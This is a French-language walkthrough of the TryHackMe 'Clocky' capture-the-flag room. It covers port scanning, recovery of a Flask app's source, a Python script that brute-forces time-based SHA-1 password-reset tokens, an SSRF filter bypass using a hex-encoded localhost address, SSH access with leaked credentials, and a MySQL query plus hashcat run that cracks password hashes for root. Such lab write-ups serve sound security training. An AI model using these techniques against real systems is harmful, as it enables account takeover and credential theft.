THM: Clocky
- Platforme: TryHackMe
- Lien: Clocky
- Niveau: Moyen
- OS: Linux
Pour ce défi, notre objectif est de trouver six drapeaux. Notre première étape consiste à examiner le fichier robots.txt
qui contient quelques extensions de fichiers. En utilisant ces extensions de fichiers, nous obtenons une archive et en l’extrayant, nous obtenons le code source d’une application. Après inspection du code, nous identifions un moyen de manipuler le mécanisme de réinitialisation de mot de passe de l’application, ce qui nous permet d’accéder au tableau de bord administratif.
Le tableau de bord présente un formulaire vulnérable au Server-Side Request Forgery (SSRF), ce qui nous permet de nous procurer un fichier contenant des mots de passe. En combinant les noms d’utilisateurs que nous énumérons et les mots de passe, nous accédons au système via SSH.
Une exploration plus poussée révèle la présence d’une base de données mysql; cependant, en essayant de lire le contenu d’une de ses tables, on obtient un résultat indéchiffrable causé par le plugin cache_sha2_password
. Finalement, en utilisant une requête méticuleusement élaborée, nous réussissons à extraire les hashs des mots de passe dans un format lisible et après les avoir craqués, nous obtenons le mot de passe root.
Adresse IP cible - 10.10.62.39
Scanning
nmap -sC -sV -oA nmap/Clocky 10.10.62.39
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-09 22:51 CDT
Nmap scan report for 10.10.62.39
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
| 256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
|_ 256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c:ec:32:d2 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 3 disallowed entries
|_/*.sql$ /*.zip$ /*.bak$
|_http-title: 403 Forbidden
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.02 seconds
Trois ports sont ouverts: 22 (SSH), 80 (HTTP - Apache) et 8000 (HTTP - Nginx). Les deux serveurs web semblent renvoyer un code d’état 403.
Flag 1
Les adresses http://10.10.62.39/
et http://10.10.62.39:8000/
renvoient toutes deux 403 Fordbidden
comme nous avons pu le voir dans nmap.
Le résultat du scan montre que le service sur le port 8000 a des entrées non autorisées pour robots.txt
. En visitant http://10.10.62.39:8000/robots.txt
, nous trouvons une liste de ces mêmes entrées et le drapeau 1.
THM{14b45bb9eefdb584b79063eca6a31b7a}
Flag 2
L’énumération des répertoires sur le premier serveur web avec gobuster est infructueuse, nous passons à ffuf pour trouver les fichiers.
Les extensions mentionnées dans le fichier robots.txt
sont recherchées. Seul .zip
renvoie un résultat et nous trouvons index
.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic -u http://10.10.62.39:8000/FUZZ.zip
Nous obtenons un fichier appelé index.zip
après avoir été à l’adresse http://10.10.62.39:8000/index.zip
et l’extraction de l’archive nous donne le drapeau 2.
THM{1d3d62de34a3692518d03ec474159eaf}
Flag 3
L’archive contient également un fichier python app.py
, qui semble être le code source d’une application Flask. A la fin du code, nous observons que l’application est accessible sur le port 8080
.
En naviguant vers http://10.10.62.39:8080/
, nous arrivons sur un site web.
Dans le code source, nous trouvons plusieurs points de terminaison tels que:
/administrator
qui contient un formulaire de connexion.
/forgot_password
qui permet de réinitialiser un mot de passe après que l’utilisateur ait fourni un nom d’utilisateur valide.
/password_reset
, ce point d’accès mène à une page avec le messageInvalid Parameter
. Dans le code, nous voyons que nous devons fournir une valeur pour le token.
De plus, la génération du token est soumise à des contraintes de temps. Voici comment elle fonctionne :
- une fois que l’application confirme dans la base de données que le nom d’utilisateur fourni existe, elle enregistre la date et l’heure du serveur et les stocke dans la variable
value
. value
est ensuite converti en chaîne de caractères et les 4 derniers caractères sont supprimés. Un espace, un point et le nom de l’utilisateur en majuscules sont ensuite ajoutés à la chaîne.- La variable
lnk
est finalement hachée en utilisant SHA-1 (ce qui n’est pas sécurisé).
Pour l’exploiter, il faut donc
- fournir un nom d’utilisateur valide
- synchroniser notre date et notre heure avec celles du serveur
- générer une valeur de token valide
- réinitialiser le mot de passe du compte administrateur
Nous utilisons le script ci-dessous pour y parvenir.
import datetime
import hashlib
import requests
import re
# Set the target URL, change the IP acordingly
base_url = 'http://10.10.62.39:8080/'
# Send a POST request to synchronize time
data = {"username": "administrator"}
requests.post(base_url + "forgot_password", data=data)
# Send a GET request to fetch the current time
response = requests.get(base_url)
if response.status_code == 200:
time_pattern = r'The current time is (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})'
match = re.search(time_pattern, response.text)
if match:
current_time_str = match.group(1)
print("Synchronized time:", current_time_str)
# Generate and check valid tokens
valid_tokens = []
for ms in range(100):
ms_str = str(ms).zfill(2)
token_data = current_time_str + "." + ms_str + " . " + "administrator".upper()
hashed_token = hashlib.sha1(token_data.encode("utf-8")).hexdigest()
response = requests.get(base_url + 'password_reset', params={'token': hashed_token})
if '<h2>Invalid token</h2>' not in response.text:
print(f'Generated token: {hashed_token}')
valid_tokens.append(hashed_token)
print("Generated tokens:", valid_tokens)
else:
print("Error: Could not parse server time from response.")
else:
print("Error: Failed to fetch server response.")
Nous utilisons administrator
pour le nom d’utilisateur valide au niveau de /forgot_password
.
Après avoir exécuté le script, nous recevons une valeur de token que nous ajoutons à /password_reset
.
10.10.62.39:8080/password_reset?token=2233b063a0ebf5505e2cf32a7fa79937d9b561ed
La valeur de notre token est correcte et nous sommes capables de réinitialiser le mot de passe de l’utilisateur administrator
.
En retournant à /dashboard
, nous pouvons nous connecter avec administrator:mot_de_passe_choisi
et nous obtenons le drapeau 3.
THM{ee68e42f755f6ebbcd89439432d7b462}
Flag 4
Sur le tableau de bord de l’administrateur, nous pouvons soumettre une valeur pour Location
et télécharger un fichier. Suite à la capture de la requête avec Burp Suite, je peux voir qu’elle utilise le paramètre location
.
Il s’avère qu’il est vulnérable au SSRF.
Le Server-Side Request Forgery (SSRF), traduit en français comme la falsification des requêtes côté serveur, est une vulnérabilité de la sécurité du web. Elle permet à un hacker d’inciter l’application côté serveur à envoyer des requêtes à un endroit non prévu. Avec une attaque SSRF typique, un hacker se sert d’une application web vulnérable pour amener le serveur à interagir afin d’en extraire des fichiers et des données sensibles. Source - Cyberuniversity
Nous avons accès à une liste de payloads sur PayloadsAllTheThings
. J’utilise http://127.0.0.1:80
mais la tentavive échoue et nous obtenons Action not permitted
en réponse, ce qui implique qu’il y a un filtre que nous devons contourner.
J’ai trouvé une liste de payload pour passer les filtres SSRF ici
et le payload http://0x7f000001/
fonctionne.
Au début du code source, vous pouvez voir le commentaire à propos de datbase.sql
. Nous l’utilisons comme nom de fichier et nous obtenons le drapeau 4.
THM{350020dc1a53e50e1e92bac2c35dd0a2}
Après avoir transmis la requête, nous obtenons un fichier appelé file.txt
.
Flag 5
Le fichier file.txt
contient le mot de passe Th1s_1s_4_v3ry_s3cur3_p4ssw0rd
et le nom d’utilisateur clocky_user
. Le code source mentionne deux autres noms, jane
et clarice
.
Après avoir essayé le mot de passe avec les différents utilisateurs, nous arrivons à nous connecter via SSH avec clarice:Th1s_1s_4_v3ry_s3cur3_p4ssw0rd
et à récupérer le drapeau 5.
THM{e57dfa35e62d518cfd215dd7729d0877}
Flag 6
Dans /home/clarice/app
nous trouvons le fichier caché .env
qui révèle le mot de passe de la base de données seG3mY4F3tKCJ1Yj
.
Le résultat de ss -lntp
confirme que MySQL est installé sur le serveur.
Avec les identifiants clocky_user:seG3mY4F3tKCJ1Yj
nous nous connectons à MySQL.
mysql -u clocky_user -p
La base de données clocky
ne contient que les identifiants de l’utilisateur administrator
.
Dans la base de données mysql
, nous trouvons une table user
.
La requête select * from user
produit un résultat illisible.
Nous voyons que caching_sha2_password
qui est un plugin d’authentification utilisant sha256 apparaît de façon répétée dans le résultat.
En recherchant “how to dump mysql sha256 hashes with caching_sha2_password?` sur Google, nous trouvons cette hashcat issue page où nous pouvons trouver plusieurs requêtes pour atteindre notre objectif.
SELECT user, CONCAT('$mysql',LEFT(authentication_string,6),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
Le hash du premier utilisateur dev
donne le mot de passe armadillo
.
hashcat -m 7401 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
En utilisant le nouveau mot de passe trouvé, nous nous connectons en tant que root et récupérons le drapeau 6 (le dernier) dans /root
!
Ce défi était très intéressant et j’espère que mon article vous sera utile. Je pense que la connaissance de Python devient de plus en plus précieuse pour les professionnels de la cybersécurité et prendre le temps de l’apprendre sera probablement très bénéfique à l’avenir. Vous pouvez lire Automate the Boring Stuff with Python par Al Sweigart gratuitement ici .